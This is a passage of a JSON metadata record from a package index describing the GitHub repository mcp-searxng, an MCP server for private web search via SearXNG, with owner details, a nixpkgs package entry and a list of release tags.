{"id":389998,"url":"https://github.com/ihor-sokoliuk/mcp-searxng","last_synced_at":"2026-10-17T20:05:54.247Z","repository":{"id":270404339,"uuid":"907172461","full_name":"ihor-sokoliuk/mcp-searxng","owner":"ihor-sokoliuk","description":"Private web search for AI assistants via SearXNG — supports Claude, Cursor, and any MCP client","archived":false,"fork":false,"pushed_at":"2026-10-10T19:17:22.000Z","size":1793,"stargazers_count":1292,"open_issues_count":0,"forks_count":163,"subscribers_count":4,"default_branch":"main","last_synced_at":"2026-10-10T20:45:33.141Z","etag":null,"topics":["ai","claude","cursor","llm","mcp","mcp-server","mcp-servers","privacy","search","searxng","self-hosted","web-search"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/mcp-searxng","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ihor-sokoliuk.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2024-12-23T02:00:51.000Z","updated_at":"2026-10-10T19:17:23.000Z","dependencies_parsed_at":"2026-08-27T15:45:07.609Z","dependency_job_id":"2ba83c2e-dc53-4e03-a35a-2de122068569","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng","commit_stats":null,"previous_names":["ihor-sokoliuk/mcp-searxng"],"tags_count":83,"template":false,"template_full_name":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344836268,"owners_count":38330654,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-16T02:00:06.653Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"ihor-sokoliuk","name":"Ihor Sokoliuk","uuid":"17313213","kind":"user","description":"Staff Engineer · Agentic AI \u0026 MCP servers · Distributed Systems · Python / Go","email":"","website":"https://linkedin.com/in/ihorsokoliuk","location":"Austin, TX","twitter":null,"company":"Grid Dynamics","icon_url":"https://avatars.githubusercontent.com/u/17313213?u=c412adec9c62902adaea814ee18bf5267c25ea80\u0026v=4","repositories_count":15,"last_synced_at":"2026-10-10T20:44:56.885Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/ihor-sokoliuk","funding_links":[],"total_stars":1276,"followers":17,"following":1,"created_at":"2024-12-30T22:27:30.363Z","updated_at":"2026-10-10T20:44:56.903Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk/repositories"},"packages":[{"id":15109120,"name":"mcp-searxng","ecosystem":"nixpkgs","description":"Private web search for AI assistants via SearXNG — supports Claude, Cursor, and any MCP client","homepage":"https://github.com/ihor-sokoliuk/mcp-searxng","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/ihor-sokoliuk/mcp-searxng","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-09-06T00:02:35.553Z","latest_release_published_at":"2026-09-06T00:02:35.553Z","latest_release_number":"2.1.0","last_synced_at":"2026-09-06T00:02:35.828Z","created_at":"2026-09-06T00:02:35.517Z","updated_at":"2026-10-10T20:46:20.225Z","registry_url":"https://search.nixos.org/packages?channel=unstable\u0026query=mcp-searxng","install_command":"nix-env -iA nixpkgs.mcp-searxng","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-unstable/pkgs/by-name/mc/mcp-searxng/package.nix#L24","metadata":{"nix_attribute":"mcp-searxng-2.1.0","position":"pkgs/by-name/mc/mcp-searxng/package.nix:24","platforms":["x86_64-linux","aarch64-darwin","aarch64-linux","i686-freebsd","x86_64-freebsd","aarch64-freebsd","arc-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","sh4-linux","microblazeel-linux","mips64el-linux","mipsel-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390x-linux"],"broken":false,"insecure":false,"unfree":false,"outputs":["out"]},"repo_metadata":{"id":270404339,"uuid":"907172461","full_name":"ihor-sokoliuk/mcp-searxng","owner":"ihor-sokoliuk","description":"Private web search for AI assistants via SearXNG — supports Claude, Cursor, and any MCP client","archived":false,"fork":false,"pushed_at":"2026-10-10T19:17:22.000Z","size":1793,"stargazers_count":1292,"open_issues_count":0,"forks_count":163,"subscribers_count":4,"default_branch":"main","last_synced_at":"2026-10-10T20:45:33.141Z","etag":null,"topics":["ai","claude","cursor","llm","mcp","mcp-server","mcp-servers","privacy","search","searxng","self-hosted","web-search"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/mcp-searxng","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ihor-sokoliuk.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2024-12-23T02:00:51.000Z","updated_at":"2026-10-10T19:17:23.000Z","dependencies_parsed_at":"2026-08-27T15:45:07.609Z","dependency_job_id":"2ba83c2e-dc53-4e03-a35a-2de122068569","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng","commit_stats":null,"previous_names":["ihor-sokoliuk/mcp-searxng"],"tags_count":83,"template":false,"template_full_name":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343680568,"owners_count":38170221,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-10T02:00:07.419Z","response_time":65,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ihor-sokoliuk","name":"Ihor Sokoliuk","uuid":"17313213","kind":"user","description":"Staff Engineer · Agentic AI \u0026 MCP servers · Distributed Systems · Python / Go","email":"","website":"https://linkedin.com/in/ihorsokoliuk","location":"Austin, TX","twitter":null,"company":"Grid Dynamics","icon_url":"https://avatars.githubusercontent.com/u/17313213?u=c412adec9c62902adaea814ee18bf5267c25ea80\u0026v=4","repositories_count":15,"last_synced_at":"2026-10-03T18:48:37.615Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/ihor-sokoliuk","funding_links":[],"total_stars":1275,"followers":17,"following":1,"created_at":"2024-12-30T22:27:30.363Z","updated_at":"2026-10-03T18:48:37.750Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk/repositories"},"tags":[{"name":"v2.1.0","sha":"317c85c986177258fa2960142477f806d3a04b2b","kind":"commit","published_at":"2026-08-25T17:57:45.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.1.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"c80b83d9437738c7fa2a027b4b113de89c7db448","kind":"commit","published_at":"2026-08-21T15:48:49.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v2.0.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v2.0.0/manifests"},{"name":"v1.16.0","sha":"02ed57341b482b4d0430d728709c9ebf43bac82f","kind":"commit","published_at":"2026-08-20T00:35:53.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.16.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"1046b789bf55349421b148fd0630da0124702d28","kind":"commit","published_at":"2026-08-11T14:34:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.15.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.15.0/manifests"},{"name":"v1.14.1","sha":"6cf8373c03cde21c9b590f91f4677ebf0ec1fdae","kind":"commit","published_at":"2026-08-07T03:09:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.1/manifests"},{"name":"v1.14.0","sha":"edd31ef3e7b475d3a3a09e3f36422daf592e61ee","kind":"commit","published_at":"2026-08-01T02:18:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.14.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"0b0bcd8aab9ab9136304148c289acc24f171fc09","kind":"commit","published_at":"2026-07-30T23:24:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.13.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.13.0/manifests"},{"name":"v1.12.1","sha":"850af5c0da7193c0d3657b0fb6db56c1bbe91099","kind":"commit","published_at":"2026-07-29T02:48:48.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"cf545d041cf3471e9522ee7bb2bc6bbdd59d5d18","kind":"commit","published_at":"2026-07-26T00:16:33.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.12.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.12.0/manifests"},{"name":"v1.11.1","sha":"fca8493e124c5fc4dcfa3c107b73fb46efa14210","kind":"commit","published_at":"2026-07-14T16:57:37.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.1/manifests"},{"name":"v1.11.0","sha":"e47e4190b3c7b7f1913e9339029945a9e7c514b8","kind":"commit","published_at":"2026-07-07T04:48:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.11.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.11.0/manifests"},{"name":"v1.10.1","sha":"755e19c4f0a3278a2f985b7a0db440230d59be63","kind":"commit","published_at":"2026-07-04T18:41:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"e499816b1bceb5984445aa4ae1dde156d55b3ece","kind":"commit","published_at":"2026-07-03T22:54:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.10.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.10.0/manifests"},{"name":"v1.9.0","sha":"5652aceb7e8742f0c6d718a88844fbbef3b7ed2b","kind":"commit","published_at":"2026-07-02T21:36:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.9.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.9.0/manifests"},{"name":"v1.8.0","sha":"a20b5c9711b8f0ba24d9a054f113d0108881dc86","kind":"commit","published_at":"2026-06-23T19:39:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.8.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.8.0/manifests"},{"name":"v1.7.2","sha":"3bc16c80869b81b91dbe6d63c27ef46acd9add51","kind":"commit","published_at":"2026-06-21T00:46:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"2f5768e5be4d8102f9ce805e8a9105e33eb1795b","kind":"commit","published_at":"2026-06-18T21:35:58.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"7cc1eacbb28056d34d1a3665a8e7201590e14f0a","kind":"commit","published_at":"2026-06-18T17:26:21.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.7.0/manifests"},{"name":"v1.6.0","sha":"0d9c5ade5b8966f8cefc6e473b4a3ad0b4f431fb","kind":"commit","published_at":"2026-06-16T20:55:47.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"381d4f8e0494f2bbec2063ce6907be35b257c224","kind":"commit","published_at":"2026-06-12T21:09:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"fe943ce3234201d4cc6050d38eb60fd06e112dcc","kind":"commit","published_at":"2026-06-12T03:11:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.4.0/manifests"},{"name":"v1.3.4","sha":"e7296d4752eeb1c406240ce5c2ab632575fc3a90","kind":"commit","published_at":"2026-06-11T20:42:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"95d664cc725fd473b1fd910776c6afcd974d3670","kind":"commit","published_at":"2026-06-10T21:18:27.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"89ae270965232411ed9d14527c5ec8260f46eaf9","kind":"commit","published_at":"2026-06-09T22:29:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"08eb78e6676267cccdea509592bfa8429f836f23","kind":"commit","published_at":"2026-06-09T05:13:32.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"da50d66379260cbe02269b36f284cbfb168f7dd8","kind":"commit","published_at":"2026-06-09T05:03:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.3.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"75bc25d27f01fe1f577c4c4a13e6e340f4d81ff1","kind":"commit","published_at":"2026-06-07T22:01:55.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v1.2.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v1.2.1","tag_url":"https://repos.